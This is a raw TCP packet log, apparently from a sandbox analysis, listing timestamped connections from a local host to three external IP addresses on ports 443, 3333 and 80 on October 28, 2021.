Oct 28, 2021 22:43:28.247209072 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.247220993 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.247230053 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.247246981 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.247255087 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.247277975 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.247324944 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.249520063 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.249567986 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.249631882 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.249644041 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.249659061 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.249692917 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.269655943 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.269699097 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.269891977 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.269927979 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.269953012 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270004034 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270242929 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270282984 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270343065 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270354986 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270412922 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270426989 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270469904 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270507097 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270554066 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270564079 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270587921 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270606995 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270662069 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270698071 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270741940 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270754099 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270771027 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270801067 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270869017 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270905972 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270951033 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.270962000 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.270987034 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271020889 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271054029 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271091938 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271135092 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271145105 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271166086 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271197081 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271260023 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271296024 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271342039 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271353006 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271378994 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271394968 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271465063 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271507978 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271548986 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271558046 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271593094 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271604061 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271677971 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271713972 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271756887 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271768093 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271784067 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271815062 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271862984 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271898031 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271935940 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271948099 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.271965981 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.271990061 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272046089 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272099018 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272144079 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272155046 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272177935 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272211075 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272263050 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272299051 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272344112 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272353888 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272371054 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272409916 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272460938 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272504091 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272537947 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272551060 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272567034 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272607088 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272674084 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272711039 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272753000 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272763968 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272789955 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272806883 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272844076 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272907972 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.272963047 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.272974014 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273000002 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273031950 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273046970 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273133993 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273207903 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273241997 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273286104 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273297071 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273313046 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273394108 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273428917 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273467064 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273479939 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273515940 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273580074 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273614883 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273653030 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273667097 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273682117 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273767948 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273802042 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273844004 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273857117 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273870945 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.273960114 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.273997068 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274034977 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274044991 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274069071 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274139881 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274174929 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274224997 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274235964 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274251938 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274326086 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274359941 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274394989 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274408102 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274422884 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274511099 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274544954 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274583101 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274595022 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274615049 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274697065 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274732113 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274780989 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274795055 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274815083 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.274898052 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274934053 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.274974108 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275002956 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275017023 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275110960 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275147915 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275263071 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275274992 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275310040 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275352955 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275379896 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275393009 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275443077 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275532961 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275568962 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275609016 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275623083 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275639057 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275726080 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275760889 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275794029 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275804043 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275830030 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.275917053 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275952101 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.275990963 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276004076 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276020050 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276114941 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276149988 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276185036 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276199102 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276216030 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276299953 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276334047 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276370049 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276386023 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276410103 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276604891 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276643991 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276688099 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276709080 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276732922 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276817083 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276875973 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276901960 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.276916981 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.276962996 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277072906 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277112961 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277175903 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277189970 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277208090 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277271032 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277307034 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277357101 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277370930 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277386904 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277467966 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277506113 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277539015 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277549028 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277580976 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277682066 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277724028 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277751923 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277765989 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277817011 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277894974 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277931929 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.277976990 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.277990103 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278017044 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278079033 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278105021 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278148890 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278167009 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278179884 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278208971 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278239012 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278281927 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278294086 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278309107 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278346062 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278371096 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278413057 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278426886 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278441906 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278480053 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278506994 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278548002 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278558969 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278573036 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278604984 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278661013 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278671026 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278687000 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278713942 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278728008 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278738976 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278740883 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278759003 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278780937 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278824091 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278840065 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278865099 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278907061 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278915882 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278932095 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.278934956 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278979063 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.278990984 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.279000044 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.279016018 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.279082060 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.611946106 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.612997055 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.701869965 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:30.920661926 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:30.983578920 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:31.025069952 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:31.130345106 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:31.153938055 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:31.196965933 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:31.556636095 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:44:06.205008030 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.223277092 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.223407984 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.225697041 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.243941069 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594090939 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594141960 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594180107 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594229937 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594244957 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.594294071 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.594310045 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594350100 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594386101 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594403982 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.594443083 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594480991 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594499111 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.594537973 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.594600916 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.613214016 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.613285065 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.613351107 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.613702059 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.613749027 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.613811016 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.614974976 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.615010977 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.615070105 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.826287985 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.826337099 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.826468945 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.826662064 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.826699972 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.826775074 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.827869892 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.827915907 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.828027010 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.829010010 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.829066038 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.829154968 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.830245972 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.830284119 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.830353022 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.831321001 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.831367970 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.831473112 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.832473040 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.832524061 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.833643913 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.833704948 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.833734989 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.834809065 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.834849119 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.834881067 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.834908962 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.835916042 CEST	80	49791	216.58.215.228	192.168.2.3
